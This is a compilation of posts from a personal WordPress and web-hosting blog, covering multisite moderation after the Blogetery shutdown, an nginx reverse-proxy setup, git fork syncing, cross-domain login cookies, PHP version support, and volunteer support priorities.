Discussion of the situation spun up on Web Hosting Talk where it was determined that Blogetrey had been accused of hosting inappropriate content before. That probably meant they were hosting torrents or other illegal but not shut-down worthy. Copyright infringement. The site owner claimed that every copyright violation was removed within 24 hours. By the way, if you ever get slapped with a DMCA notice (i.e. a notice that your site has content copyritten to someone else), in order to be safe from a law suit, all you have to do is remove it. Done.
So what on earth would cause BurstNET, their host, to shut down the site without warning or notice? That’s right, he had to ask ‘What happened to my site?’ and was told it was shut down, terminated, and here’s his money back.
Turns out he had a link.
[From BurstNET’s statement](https://www.burst.net/news/blogetry.shtml):
> “It was revealed that a link to terrorist material, including bomb-making instructions and an al-Qaeda “hit list”, had been posted to the site. “
That’s it. A link. One link. But it was enough for a warrant which then showed this:
> “Upon review, BurstNET® determined that the posted material, in addition to potentially inciting dangerous activities, specifically violated the BurstNET® Acceptable Use Policy. This policy strictly prohibits the posting of “terrorist propaganda, racist material, or bomb/weapon instructions”. Due to this violation and the fact that the site had a history of previous abuse, BurstNET® elected to immediately disable the system.”
Now the previous ‘abuse’ was copyvio, which was all handled legally, but clearly BurstNET was feeling the pinch. They probably got slapped with a wwarrent and did the legal thing: They shut it down.
Reagrdless of if it was fair or not to the other 69,999 sites hosted by Blogetery, it brings up the inherent problems of running an unchecked MultiSite. Anyone can make a blog/site, anyone can update it, and anyone can get you in trouble.
It’s been a few weeks, but finally news is coming out about the whole story. CNET’s article was invectively titled [Bomb-making tips, hit list behind Blogetery closure](http://news.cnet.com/8301-31001_3-20010923-261.html). That said, it explained this in more detail which let everyone get a grip on what was actually going on.
I’m not going to get into the ethics of free speech and how it does (and doesn’t) apply to your website. Instead I want to use this as a reminder of the trouble *you* can get into, hosting websites. I host four, three are ‘mine’ and one is a site I like and visit pretty often. I’m very much aware of what’s going on all these sites and I monitor them frequently. This is not just to my benefit, but to everyone else’s on my servers. My host would be 100% within their rights to say “Ipstenu’s got a site that has kiddie porn! Kill her account!” and that would shut down *everyone* on my server.
As I mentioned before, WordPress MultiSite makes it a lot easier for someone to host a thousand blogs, unchecked, but that also means it’s a lot easier for someone to post questionable content. For copyvio cases, you’re covered when you remove the material in question, but for porn and terrorism, it’s not actually under the same purview. Again. I’m NOT going to get into the why of this, nor the right or wrong about it. If you have a website, you have to accept that your host really has no interest in being involved with a legal dispute regarding kiddie porn or terrorism.
This means it’s down to you to constantly and consistantly monitor your site for sub-sites and domains that are questionable. For me, if a site I host gets one Cease and Desist about copyvio, I take down the material, explain to the person who runs the site why, and ask them not to do it again. At this point, it’s their job to monitor their site. Should they fail to do so a second time, I give them a final warning of ‘If you can’t keep tabs on your site and your visitors, you can’t stay here.’ Third time and I close their account, refund them what’s left on their time, and offer to give them a copy of their site and database, intact.
For the rest, though, it’s a no-warning termination, specifically because porn and terrorism are hot button topics. I’m within my rights to do so (I own the server, I make the rules) and I owe it to the other people. My ISP is in their rights to do similar, because they own the … land my server is on. If that makes sense.
If all this sounds like too much work for you, then you shouldn’t be running an open, anyone-can-register-and-blog, multisite. Or you should hire some staff. Multisite is not a quick money scheme, it’s a job, and you have to take it seriously.
This is not endemic solely of WordPress, but with the advent of MultiSite becoming mainstream, it’s something that’s going to start coming up more and more. Don’t say you weren’t warned.
**Categories:** How It Is
**Tags:** administration, essay, multisite, wordpress
---
### [Nginx Proxy](https://halfelf.org/2014/nginx-proxy/)
**Published:** May 28, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I finally set up nginx as a proxy for my apache box. This is not true nginx, and I can't run SPDY on it yet, or even SSL, but it sure does speed stuff up!
**Content:**
Will you all quit nagging me now? I kid. Very few of you actually got on my case about nginx.
[Nginx](http://nginx.org/) is a HTTP server and reverse proxy, which is a really fancy way of saying “It runs websites.” Most people still use Apache, and Nginx is perceived as being faster with how it serves static files. My issues with it are twofold:
1. I don’t just run WordPress here
2. I need my .htaccess for those other things
Yes, there are older webapps that don’t support nginx. But at the same time, what if I could have my cake and eat it too? What if I could use nginx to serve up the static files and apache for the rest? That would mean I would be able to install nginx on my CentOS 6 box as a reverse proxy.
It’s actually not that hard, but let me explain why this is a good idea. Apache takes up a lot of server memory, which nginx does not. Nginx is awesome at static files, but not the best at dynamic, and you’ll need a module like php-fpm for that. But… One of the sites on this server has a gallery that takes up 50% of the webspace of all accounts on the server. Stop and ponder that for a moment. While I do have server-side caching (memcached and ZendOptimizerPlus) running, adding in nginx up front means my images would be served faster.
Speaking of faster, by putting nginx in front, it makes it so only true http requests get passed on, which protects against attacks like DDOS and other brute-force attacks that aren’t nginx-related. I still have (and use) mod security, of course, as well as [ConfigServer Firewall](https://halfelf.org/2011/timthumb-pseudo-ddos-effect/ "TimThumb and the Pseudo (D)DoS Effect"). More on that later. Let’s get this sucker installed!
```
yum install nginx
```
**Install Nginx**
Oh, sorry? Was that supposed to be harder? It’s not. This is pretty much the simple part.
**Install nginxCP**
Normally my next step would be to configure nginx (see [Ben Tasker’s CentOS: Using NGinx to serve static files and Apache for dynamic](http://www.bentasker.co.uk/documentation/linux/184-centos-using-nginx-to-serve-static-files-and-apache-for-dynamic) for details) and apache. Unlike Ben, I have WHM on my server, which means when I build apache it’s with Easy Apache, which means any edits I make to my `httpd.conf` file get lost when I rebuild, which I do for when I need to upgrade PHP. It’s not super rare, nor is it super common. Still, I don’t really want to mess with it more than I have to.
So I took the time to research my options, and came up with [nginxCP](http://nginxcp.com/) and [cpnginx](http://cpnginx.com/). The real difference is CPNginx comes with a service to help you (yes, it’s pay). Since I’m an Open Source woman, I did nginxCP. The cost ($55 a year) for cpnginx was not a deal breaker, since they had a trial.
The [install directions](http://nginxcp.com/installation-instruction/) are quick:
```
cd /usr/local/src
wget http://nginxcp.com/latest/nginxadmin.tar
tar xf nginxadmin.tar
cd publicnginx
./nginxinstaller install
```
A reboot of the httpd service and now all my non-SLL sites are served up on nginx!
**Configure nginxCP and Apache**
I love when I can just slap it on and go, but I run [ConfigServer Firewall](http://configserver.com/cp/csf.html) to save my ass from DDoS, so I knew I’d be getting a slew of ‘Suspicious process’ alerts from my firewall once I added in a new feature. The fix is to add this to csf.pignore:
```
# nginxCP
exe:/usr/local/sbin/nginx
```
That was all I needed! Emails, by the way, from CSF have plummeted. I was worried I wasn’t getting *any* emails or logs from my servers for a while. But then I re-checked my logs to see what was happening. See I used to get a lot of emails like this:
```
Failures: 5 (mod_security)
Interval: 300 seconds
Blocked: Permanent Block
```
They stopped, because nginx didn’t let them get to Apache and CSF. Mind. Blown.
**Results?**
[](https://halfelf.org/wp-content/uploads/sites/2/2014/04/server-stats.png)Everything worked out of the gate, so I sat and watched my server load. Per-expected, since an httpd restart flushes my PageSpeed cache, the load spiked at .52 (this is still low). Then it dropped to .31 and then to .20, and it pretty much stuck around the .10 area. Memory, however, dropped for a while. That’s good! Slowly as things settled in, I made sure to post something new on a news/fan site, and watched things not go up very much.
Nothing is weirder than watching your load drop to 0. The 93% memory is not a bad thing. On this server setup, I want to see somewhere around that at any point in time. The first time I saw it, though, I flipped out and my friend [Benny](http://bennyvasquez.com/) (who is a cPanel goddess) calmed me down and explained how the ‘storm’ server worked. Real memory usage is about 40%, when load is above .40.
[](https://halfelf.org/wp-content/uploads/sites/2/2014/05/5min-load-avg.png)
The big spike was installing. The normal spikes at 14:00 and 14:30 were posts made in WordPress *before* nginx was installed. The ones at 16:00 and just after 17:00 are WP posts as well. That’s a nice change.
**Problems?**
SSL. Wouldn’t you know? Now you can use [nginx as an SSL revese proxy](http://www.bentasker.co.uk/documentation/linux/217-centos-using-nginx-as-an-ssl-reverse-proxy-for-apache), but it would obviate my cpanel add in, which right now seems a little smarter for long term sustainability than doing it 100% manually. The less I have to remember when I’m rebuilding apache, after all, the better.
Still. Part of why I’m looking at nginx seriously is to speed up my SSL site which gets less caching by it’s nature. Weighing the pros and cons, I decided to stick with nginxCP as my theory is that by speeding up the rest, SSL will in turn be faster since there’s less memory being sucked up. Oh and I did check cpnginx about SSL, and they don’t support it either. That’s alright for now. I’m sure the future will change.
**Categories:** How To
**Tags:** open source, performance, servers
---
### [Stick a Fork In It](https://halfelf.org/2014/stick-fork/)
**Published:** December 12, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Merging your fork back into itself by pulling in the changes from the parent isn't hard, just weird.
**Content:**
So you’ve forked a repository from someone and they happen to be using git. This is great and with git (and GitHub) this is so easy and so simple. Heck, on GitHub, they *want* you to press that fork button. And this is all wonderful except for two things.
1. You can’t search a fork on GitHub.
2. Merging back into your fork is confusing.
The first issue drives me nuts.

That it says “currently” gives me some hope, but it’s one of the most annoying aspects of a fork on GitHub.
The second issue is bigger than just GitHub.
Sometimes when you fork, you never want to go back, and that’s sensible. You’ve decided to go a different way. That’s how most of us view a fork, after all, because we’re used to repositories being silo’d and stand alone (like with SVN). But with git, you can actually send your fork repo as a pull request to the original for them to merge in your changes. And the reverse is also true, so if you and another dev have a fundamental difference on something you can’t hack with an add-on, you have options that don’t involve reading every line of code and copy/pasting.
Yes, I did that before.
Thankfully you won’t have to. You can follow three steps to do this.
## Add the Upstream
Technically you should do this any time you make a fork, but if you use GitHub you probably forgot. After all, GitHub has that nice ‘Pull Request’ button for you, which takes care of it. They want you to cross contribute and, bless them, they make it quite easy to do so.

Instead, you’ll want to manually tell your repository that yes, Virginia, there is an upstream. This is the parent repository and it’s one command:
```
git remote add upstream ORIGINALREPO
```
On GitHub it looks like this:
```
git remote add upstream https://github.com/ORIGINAL_OWNER/ORIGINAL_REPOSITORY.git
```
Simple. Done.
## Fetch the Upstream
Now you want to fetch the upstream repository so your clone of the repository has the code it will need to merge.
```
git fetch upstream
```
Yeah, it’s that simple. It’s pretty much making a branch and fetching its changes. At this point, you’ve not made any changes to your own code.
## Merge with Upstream
This works best on master to master, but I’ll bet you can also set a branch and merge that way.
```
git merge upstream/master -m "Merging from upstream"
```
If there aren’t any commit differences, it fastforwards. Otherwise you get a merge done safely, your changes stick.
## But I don’t use Git on the CLI!
According to [Hermes Pique](http://www.hpique.com/2013/09/updating-a-fork-directly-from-github/), you can do it this way:
1. Open your fork on GitHub.
2. Click on Pull Requests.
3. Click on New Pull Request. By default, GitHub will compare the original with your fork, and there shouldn’t be anything to compare if you didn’t make any changes.
4. Click on switching the base. Now GitHub will compare your fork with the original, and you should see all the latest changes.
5. Click on Click to create a pull request for this comparison and assign a predictable name to your pull request (e.g., Update from original).
6. Click on Send pull request.
7. Scroll down and click Merge pull request and finally Confirm merge. If your fork didn’t have any changes, you will be able to merge it automatically.
Me? I like the CLI.
**Categories:** How To
**Tags:** git, open source
---
### [Multiple Domains, Multiple Logins](https://halfelf.org/2015/multiple-domains-logins/)
**Published:** January 7, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** It's for your own good that you can't be logged in automatically to multiple domains.
**Content:**
Every month or so, someone asks me why they have to log in again on multiple domains on WordPress. That is to say, they’re using Multisite and they log in to example.com and then they have to log in *again* on sub.example.com and this is weird.
The answer is due to cross-domain browser protection. This is not to say you *can’t* do it! If you’re just using subdomains, this is really easy:
```
define( 'COOKIE_DOMAIN', 'example.com' );
define( 'ADMIN_COOKIE_PATH', '/' );
define( 'COOKIEPATH', '/' );
define( 'SITECOOKIEPATH', '/' );
define( 'COOKIEHASH', md5('http://example.com') );
```
The last one is just to prevent conflicts with other sites you may have on example.com that aren’t WordPress related. Or maybe are, but are a separate install for whatever reason.
But if you’ve read my older posts, you know my COOKIE\_DOMAIN is set like this:
```
define( 'COOKIE_DOMAIN', $_SERVER[ 'HTTP_HOST' ] );
```
That’s because I’m mapping domains without a plugin to handle that for me. And *that* means I have to log in separately to halfelf.org and ipstenu.org and it sucks.
Like I said before, this is called cross-domain browser protection. You can’t use a cookie on multiple sites, even with integrated logins, with different domains.
Point in case. The exact same user ID/Password I use on wordpress.org is used on buddypress.org and bbpress.org and I have to log in to each site separately.
Why? To stop evil people from being evil. Can you imagine what would happen if someone sorted out your cookie hash and was able to let your login work on their sites? That would introduce new levels of phishing scam hells because you would be able to go to fake-paypal.com and your paypal.com login would just magically log you in.
So at this point it looks like you can’t have your cookies magically work for multiple domains and automagically log you in to them without interaction. But you’re safer this way. But what if you *could*?
```
$cookiehash = md5("http://www.example.com/");
define('COOKIE_DOMAIN', false);
define('COOKIEPATH', '/');
define('SITECOOKIEPATH', '/');
define('ADMIN_COOKIE_PATH', '/');
define('COOKIEHASH', $cookiehash );
```
Notice how I changed the COOKIE\_DOMAIN? Without it being defined, it doesn’t restrict the cookie to one domain. The HASH will protect you ‘enough’ and you should be able to log in on all domains on your network.
Mind, I don’t do that. It doesn’t work reliably in my experience, which makes sense. It’s just not as safe.
**Categories:** How To
**Tags:** essay, security, wordpress
---
### [The Road to PHP 5.x](https://halfelf.org/2015/road-php-5-x/)
**Published:** January 5, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Why don't we move to PHP 5.6 today? Well if it was that simple...
**Content:**
If you use WordPress, you may be surprised to see that WordPress still supports PHP 5.2
PHP 5.2 was released in 2006, which is nearly a decade ago, and in the way that the internet ages, an impressively long time. In 2010, only five years ago, the last version of PHP 5.2 was released: 5.2.16. At that point, PHP no longer supported 5.2, but did apply security patches. True end of life hit in January 2011.
But back in 2006, when WordPress was getting off the ground, a lot of people were still using PHP 4. Not 5, 4. It wasn’t until mid 2010 that WordPress itself [dropped support for PHP 4 (and MySQL 4)](https://wordpress.org/news/2010/07/eol-for-php4-and-mysql4/). At that point in time, roughly 11% of WordPress installs used anything lower than 5.2 and this made it a pretty safe bet.
So why does WordPress still support PHP 5.2? Today if you look at the (not very accurate) WordPress stats, you can see that [over 30% of people still use PHP 5.2](https://wordpress.org/about/stats/)

Back in 2010, WordPress was about 10% of the entire web. It’s double that today, so 33% of people on 5.2 is significantly larger than 11% back on pre 5.2, and with those numbers, it’s easy to see why it has to keep supporting PHP 5.2 … for now.
But the next obvious question becomes why is PHP 5.2 out there? And the answer is that WordPress is *only* 22% of the internet. Flip that around and remember that 78% of the internet is not WordPress. WordPress is not everything, nor should it be, so the webhosts of the world do have to consider than when they begin to upgrade.
Most major webhosts are in some state of killing PHP 5.2 with fire (seriously I am very excited for when it’s finally gone from DreamHost). When we upgraded people to 5.4, we found a lot of people who had very odd code out there that just didn’t work on 5.3 or 5.4, and upgrades broke them. We also found a number of people using WordPress who broke, mostly because they’d customized PHP 5.2 and forgotten, but also some who were on things like WP 2.x and were shocked, just shocked, it needed to be upgraded.
As developers, we want to be able to force everyone into a place where we can upgrade PHP (and WordPress) and have no compatibility fears. We want to use the new features of PHP to allow us to craft better, faster, more efficient code. We want to give users the features they ask for. But we can’t until everyone upgrades. And thus the vicious circle begins.
Would WordPress dropping support for PHP 5.2 speed up it’s demise? No. Not at all. Because WordPress is a drop in the ocean of the hassle that is upgrades. Do I think WordPress should drop support for PHP 5.2? Yes, but not the way you’re thinking. I would love to see WordPress stop supporting 5.2 in the sense that it should stop testing against it and worrying about backwards compatibility with PHP 5.2. It should check, on upgrade and install, that PHP 5.3+ is used and go from there. Heck, if it had a big alert “Hi, you’re on PHP 5.2, please upgrade!” on the admin page, that would be awesome.
But I don’t know that there are any PHP 5.3 (or 5.4 … or 5.5 or 5.6) specific features that absolutely require WordPress to be on 5.4 at this time. Frankly, that doesn’t matter at all because the issues with upgrading are far less related to where WordPress is going and more directly the cause of where servers have been. Most hosts grow organically, servers being built following a process and then (eventually) via an automated tool. But because of that, a lot of old servers and operating systems don’t lend themselves well to upgrades because they’ve been built rather … higgeldy-piggeldy one might say.
It’s that history, the drama of people not seeing the future 10 years ago, that puts many hosts in a position where upgrade is actually going to mean moving users to a new server with new features. And that is not something to be done lightly. We can’t just pick people up when we want and move them. There will be downtime, there will be outages, there will be delays. And because of all that, these moves take longer than you want.
This is not to say the hosts aren’t doing the right things, just that they take longer than anyone (especially the host) would like. And believe me. No one wants PHP 5.2 gone more than a web host.
**Categories:** How It Is
**Tags:** essay, servers, website
---
### [Mailbag: Can I do it on WP (Legally?)](https://halfelf.org/2014/mailbag-wp-legally/)
**Published:** December 19, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Yep, you can still use WordPress for porn.
**Content:**
This one comes from Zara:
> I’m about to create a website on wordpress. My website is an escort website. It is adult oriented. The new website would look exactly like my current website \[…\] and I’m considering to build a new website on wp.
>
> Since my friend’s website is built on wp and is escort oriented, plus it was banned by wp, now I’m worried about it all.
>
> Is it allowed to build an escort website on wp?
Yes.

I’ve mentioned it before, [that you can use WP for porn](https://halfelf.org/2011/gpl-freedoms-porn-is-good/ "GPL Freedoms – Yep, Porn’s Good!") because the freedoms of the GPL allow it. More specifically, WordPress states that you can use it for anything you want.
So what’s Zara talking about when she says ‘it was banned by wp’ if that’s true? We’re talking about a couple things here, one is WordPress.org and the other is WordPress.**com** and yes, it’s a headache.
WordPress.org is the home of the software. WordPress.com is a hosting service that runs nothing but a locked down, managed, WordPress Multisite instance that you can use for free (or pay for add-ons). As a hosting company, WordPress.com has specific rules and bylaws that they restrict their users to. This is, in no way shape or form, a violation of your GPL permissions. They’re not restricting WordPress usage, they’re restricting your usage of their servers and their system.
So yes, Zara, you can use the WordPress software for your escort website, but you need to find a *web host* who will give you permission to host it. My advice to you is to make sure what you’re doing is legal where you live. Also, make sure it’s legal for your webhost. At DreamHost, I know we allow any website that’s legal in the state of California, which means we host a lot of sites I personally disagree with but will defend their right to publish with my dying breath. Not every website has the same rules, so just ask them if they allow escort sites. They should be able to answer, or pass you on to legal for confirmation.
Good luck!
**Categories:** How It Is
**Tags:** freedom, hosting, mailbag, wordpress
---
### [Two Factor Apps](https://halfelf.org/2014/two-factor-apps/)
**Published:** December 22, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A new Two Factor App for a new phone!
**Content:**
Hat tip to Kat for cluing me into this!
[Two Factor Authentication](https://halfelf.org/2013/two-factor-authentication/ "Two Factor Authentication") is a wonderful thing between two places. Between ten it’s a hassle.
I got a new phone and was going through the process of re-entering all my codes on the [official Google Authenticator](https://itunes.apple.com/us/app/google-authenticator/id388497605?mt=8) which, once you install it and add a couple codes, looks pretty basic and utilitarian. It lists all your codes and what site they’re for.
My issue with the app is pretty basic. First of all, it’s Google’s and I’m not a huge fan. Second, the app hasn’t been updated in a year and it shows. Third, I have to pull my phone out when I want to log in (which is the point, I know). Fourth, I got a new phone and had to manually move everything over.
The last two items are actually the biggest hassle.
Enter [Authy](https://www.authy.com). It hits all four points. It’s not Google, it’s updated to look right on an iPhone 6, it has a *desktop app* that syncs with your phone, and it’s got backups.
My fear right away was “Where is my backup?” and this is all they say:
> For your convenience Authy can store an encrypted copy of your Authenticator accounts in the cloud. The account is encrypted/decrypted inside your phone, so neither Authy or anyone affiliated with Authy have access to your accounts.
I’m not super happy that I don’t know what cloud it’s in, or whose (Amazon probably), and I dislike that unlike 1Password I can’t pick *where* I put the backups. What if I want to sync to Dropbox? Or iCloud? That would be a great improvement. That said, they’re [upfront about their backups and how they work](http://blog.authy.com/backups) and, unlike Google, appear to have people who are willing to talk to you about things.
But.

Google

Authy
The only issue I see with Authy’s layout is that if I have more than 12 items, it’s a little weird to scroll around the tiny boxes.
Now if only Twitter and Paypal would have real 2FA and not ‘SMS’ which doesn’t help me at all outside my home country.
**Categories:** How It Is
**Tags:** essay, security
---
### [Mailbag: Where Do I Start Learning?](https://halfelf.org/2015/mailbag-start-learning/)
**Published:** January 2, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Who wants to be a WordPress millionaire?
**Content:**
Kenny flatters me (though I think have better hair than Trump) asking this:
> If I wanted to be a millionaire, I’d ask Donald Trump, which is why I’m asking you…What would you recommend as a learning path or in specific resources to gain foundational knowledge and expertise in WP/ hosting? Knowing what you know now and if you had to start from the beginning today, what would you do? Thank you.
The same place I did when I started.
I would download WordPress, install it, and use it every day for a while. Understanding how to use the product tells you more about how it works than almost anything else. All problems you have will, eventually be traced back down to code if that’s how your inclined, or documentation, or just plain understanding.
See, how I got good at WordPress was because I used it, I had problems, and I decided to learn how to fix it instead of relying on the kindness of strangers. If I had to do it all over again, I’d do it the same way because it let me learn at my own pace and in my own way. WordPress was a place where I could (and still can) sit and study how and why things work, ask questions, get answers, and learn from them.
How did I learn about hosting? Same way. I had problems and I asked my host. “This code I want to use says it needs PHP 5 and my server is PHP 4. How do I change that?” It was really that simple. They moved me to a new server for PHP 5 and I looked up why that was necessary. That was how I learned what a nightmare server upgrades are and why they’re so complex.
The secret to it all is I never said “It should be easy to…”
Weird secret, right? Well, how many times have you heard someone say “It should be easy to fix this problem!”
It’s not. It never is. If it was, we’d be done. It’s always hard or weird or prone to conflicts, which is why that wasn’t a statement I made. Instead I asked myself “*Why* isn’t this easy?” I wanted to know what made things hard.
But I’m blessed with a natural curiosity about the world and I want to dig into things to see why they do what they do. This is especially true when I’m trying to use them and they, for whatever reason, don’t do what I want. That spurs me forward into research and reading and understanding and then writing. Eventually I get to the coding part. Because isn’t that how we all learned in the beginning? We wondered and we played and we learned by doing and experiencing.
If I did it all over I’d do it the same way and use the heck out of WordPress.
**Categories:** How It Is
**Tags:** essay, learning, mailbag, wordpress
---
### [Themes Suck](https://halfelf.org/2014/themes-suck/)
**Published:** December 29, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Run for the hills! Someone wants design advice!
**Content:**
“I need help finding a good theme!”
No question will make me want to run screaming more than that. Not even the dreaded [“Should I use Multisite?”](https://halfelf.org/2014/dont-care-about-multisite/ "I Don’t Care If You Use Multisite") question is as bad as that one, because picking a theme is hard!
I mentioned to my coworker that it’s like trying to find a needle in a pile of tainted needles and the reason is really simple. Themes are ‘easy’ to code and hard to find the right one.
### A theme is personal
What you think looks good is different from what I think looks good. I love larger fonts for readability, but at the same time I don’t like too much whitespace. I don’t want an overabundance of clutter, but a single column isn’t always what I think looks ‘good.’ I’m fond of a sidebar. I also like certain color schemes, like aqua and blues and greens, but not others like yellows. That means I’ll want a theme that either matches my colors or lets me change them easily.
I need to know what you like before I can help you out.
### A theme meets your needs
What you need out of a theme is different from what I need. You may need things for custom post types built in. I don’t. I may want a grid layout for content. You don’t. What you need is very specific to your vision of your site, and picking out a ‘good’ theme to match that isn’t easy. But you have to know what you need before you start to pick out a theme. Asking me ‘what’s a good theme for my comedian website?’ is not a simple answer. What do you want to do with it? Do you want to sell things, show your gigs, blog, have a survey?
I need to know what you need before I can help you find something.
### A theme will cost you money or time (or both)
What you can do and what I can do are different. I hate coding themes. I am happy to pay the right people to do it for me. That said, I’m happy making a child theme or forking a theme, or using a plugin to extend it. I’m willing to spend money *and* time to make a theme suit me, because I look at them and get ‘most of the way there’ with pretty much all themes. No theme has ever been 100% perfect for me ever, but I think that’s okay. A theme that is the right shape will be enough, provided I can extend it (or pay someone to do it). I may need support, and I need to make sure I get that, so if I pay for a theme, I want to know how far down the rabbit hole they’ll go with me.
I need to know your budget before I can point you to the right place.
### A theme represents you
Who you are and who I am are different. This is the most wibbly-wobbley part. Your theme shows off ‘you.’ If you, like me, have issues visualizing that, it’s hard to find the right theme except to say “You’ll know it when you see it.” But understanding yourself, your likes and dislikes and the aspects of you that you want the theme to show off will help you pick the right theme. You may not know it all to begin with, but start making notes. When you see something you love, think about why you love it. When you hate something, do the same. Make a list of what you love and hate, what features make you wince and which ones you crave. Understanding why you make those visceral reactions to a theme helps you understand you.
You need to know who you are before you ask anyone to help you find a theme.
## Why do you love (or hate) suggesting themes?
Do you feel like I do? Let’s hear why!
**Categories:** How It Is
**Tags:** design, essay
---
### [You're Not The Priority With Free Support](https://halfelf.org/2014/priority-free-support/)
**Published:** December 17, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** You aren't the most important person in the world to everyone.
**Content:**
Once in a while, someone flies off the rails when they don’t get a fast enough answer for their question in a freely supported product. They don’t get the right answer, or they get what they feel is a run-around by a total stranger trying to understand the real problem, and basically they feel the service should be better.
Here’s a cold hard truth.
When it comes to free support on free products, *you* aren’t the priority.
Usually when people get shirty about the ‘lack of quality support’ I point out that (on WordPress.org) support is handled predominantly by unpaid volunteers who are offering sage advice and help out of the kindness of their hearts. This is mostly true. Some of us are paid by our companies to volunteer, others are doing it to master skills (not much teaches you how a product works faster than helping someone else debug it), and others do it because they enjoy it. But as far as WordPress goes, it doesn’t directly pay anyone to do support.
Sidebar: Automattic isn’t WordPress and doesn’t own WordPress. Automattic is a company who pays for some of their employees to help out in the forums. And it’s making my point. Some of us get paid by our companies.
When I tell people that they need to scale down their expectations, what I don’t mean is they should expect worse help, but that they should expect *slower* help. Because they’re not the priority.
What’s my priority? Number one is my family (hello). But after that you get my paying job. Keeping abreast of everything WP related that impacts us, keeping on top of server changes, looking for patterns in tickets to see if we missed something, and generally knowing everything I possibly can about WordPress at DreamHost. After that my priority becomes the websites I run (like this one) and other hobbies I have.
That begs the question of when is WordPress public support my priority? When I have the time. I try to carve out at least a couple hours a day to check in. These need to be consecutive hours, a nice block of time to catch up and read and help. I don’t always get it. Sometimes I get thirty minutes. And when I am helping out, I prioritize my time.
If there’s an alpha/beta of WP out, I check there first. If we just released a new version, I’m over in the general troubleshooting. Then I hit Multisite, because we have a very small amount of people there. If I still have time, I’ll get the ‘Requests and Feedback’ and ‘Misc.’ forums. Next I hit up the dread Ideas forum, clean out the spam, and sort things that are dupes or solved or in the wrong place.
And then I’ve hit how much free time I have, so I go over to plugins for reviewing those. Anyone who was closed for a security issue comes first. After that, it’s anyone who replied to our emails. Then I close out anyone who didn’t reply in 7 days, check for people with bad plugin names, and finally I can start in on the queue.
It’s a lot to do on top of a day job. So sometimes you will get a reply from me at 8am and then nothing again for 24 hours, because all of those things are important to people and they all need to be taken care of and you, personally, aren’t my number one priority. It’s the same reason why you may not get immediate replies from anyone volunteering, and its why I tell you to lower your expectations.
Free support isn’t better or worse, but it does run at it’s pace and that may not be yours.
**Categories:** How It Is
**Tags:** essay, support, wordpress
---
### [Hide Your Site on Multisite](https://halfelf.org/2014/hide-site-multisite/)
**Published:** December 10, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Hiding things is easy. Hiding them well is not. Especially on a Multisite.
**Content:**
Sometimes when you’re building a network, you don’t want all your sites to be available just yet. While you can install a ‘Coming Soon’ plugin, there are also built in ways to handle this.
First you’ll want to take advantage of two of the Network’s least loved features: Deactivate and Archive. When you go to the Sites page on the Network Admin and hover over the items, you have new options appear:

Should you click on *Deactivate*, you’ll be asked to confirm and then you get this:

*Don’t panic!!*
I know it says Deleted. It’s not. A deleted site is 100% deleted, the DB tables dropped and the images nuked. So while it ‘says’ deleted, it’s not. If you press Archive it’s a little more realistic:

What’s the difference? In both cases, this is what a non-logged in user sees:
This site is no longer available.And in both cases, you can’t log in, because this is what you see for wp-admin and wp-login.php.


It’s weird, but it pretty much ‘archived’ the sites. You can, as a Super Admin, see it, but you can’t even change user roles from the network dashboard. (I spent about an hour trying to debug why I, as a Super Admin, couldn’t get to the dashboard at all, and it turned out I needed to flush my cache, so remember folks, caching is wonderful until you shoot your foot.) Still this presents a predicament.
Frankly, I don’t want people to know a site doesn’t exist. That can be easily done with a filter and a redirect:
```
// Archived sites only I can see
function helf_redirect_hidden_sites() {
// Super Admins always get in
if ( is_super_admin() || current_user_can( 'manage_options' ) ) {
return true;
} else {
// Defines
if ( defined( 'NOBLOGREDIRECT' ) ) {
$goto = NOBLOGREDIRECT;
} else {
$goto = network_site_url();
}
$blog = get_blog_details();
if( '1' == $blog->deleted || '2' == $blog->deleted || '1' == $blog->archived || '1' == $blog->spam ) {
wp_redirect( $goto );
die();
}
}
}
add_filter('ms_site_check','helf_redirect_hidden_sites');
```
I wanted to allow my site admins and my super admin to view it, but if you don’t, edit `if ( is_super_admin() || current_user_can( 'manage_options' ) )` to only allow what you want. And because I’m using a subdomain site, this makes it look like an archived/deleted site is just another non-existent site, by redirecting to NOBLOGREDIRECT.
But this doesn’t work around the problem that my whole wp-admin is blocked off to non logged in users. I mean, how can I log in? The only workaround is that if the site is a subdomain (test.halfelf.org) or a subfolder (halfelf.org/test), then I can log in at halfelf.org/wp-admin and *then* visit over. If this was a mapped domain, I’d be in trouble. So it’s clearly not a perfect solution for everyone.
By the way, you can customize the various messages for suspended or deleted sites by creating the following files in `wp-content`:
```
blog-suspended.php
blog-deleted.php
blog-inactive.php
```
So if you just want it to be pretty, that’s easy.
**Categories:** How To
**Tags:** coding, multisite, plugins, wordpress
---
### [Being Smart Cures Headaches](https://halfelf.org/2014/smart-plugin-url/)
**Published:** December 1, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Just something everyone should know and use in their development. plugins_url().
**Content:**
While reviewing WordPress plugins, I often kick a plugin for calling file locations poorly. This usually happens when they’ve hardcoded their plugin name or (worse) wp-content into paths.
When you hardcode in paths, or assume that everyone has WordPress in the root of their domain, you cause anyone using ‘Giving WordPress it’s own directory’ (a VERY common setup) to break. In addition, WordPress allows users to change the name of wp-content, so you would break anyone who choses to do so. And when this happens, I always link them to how to figure out the constants, which leads them to the function [`plugins_url()`](http://codex.wordpress.org/Function_Reference/plugins_url).
In many ways, `plugins_url()` is a panacea, a silver bullet, because it can take this:
```
**Categories:** How It Works
**Tags:** coding, plugins, wordpress
---
### [Don't Be Afraid To Learn In Adversity](https://halfelf.org/2014/afraid-learn/)
**Published:** December 8, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Don't be afraid to code badly. You can't know it all from the beginning. And don't let people get you down about that.
**Content:**
> also i’d like you to either never submit pull requests again or at least try to not put harmful code in them
That was what a developer said when I made a derp pull request, adding in a check for 0 that should have been better as a check for not -1.
Regardless of the fact that he and I fundamentally disagree on the usefulness of the code (and frankly, that’s why I assumed he’d be punting my pull request), his reply is something I’m very glad I got now and not 10 years ago.
